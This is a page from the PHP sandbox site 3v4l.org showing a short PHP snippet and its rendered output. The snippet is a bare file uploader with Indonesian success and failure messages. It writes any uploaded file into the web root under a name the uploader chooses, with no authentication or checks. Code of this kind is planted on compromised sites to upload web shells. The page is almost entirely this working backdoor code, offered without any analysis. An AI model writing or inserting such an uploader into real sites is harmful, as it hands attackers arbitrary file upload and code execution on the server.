3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" size="50"> <input type="submit" name="_svr" value="upload"> </form> <?php if(ISSET($_REQUEST['_svr'])){ $_svr=($_REQUEST['_svr']); if($_svr==('upload')){ if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses :D</b><br><br>'; } else { echo '<b>Upload Gagal :D</b><br><br>'; die(); }} } ?>
Output for 4.3.0 - 7.1.0
<form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" size="50"> <input type="submit" name="_svr" value="upload"> </form>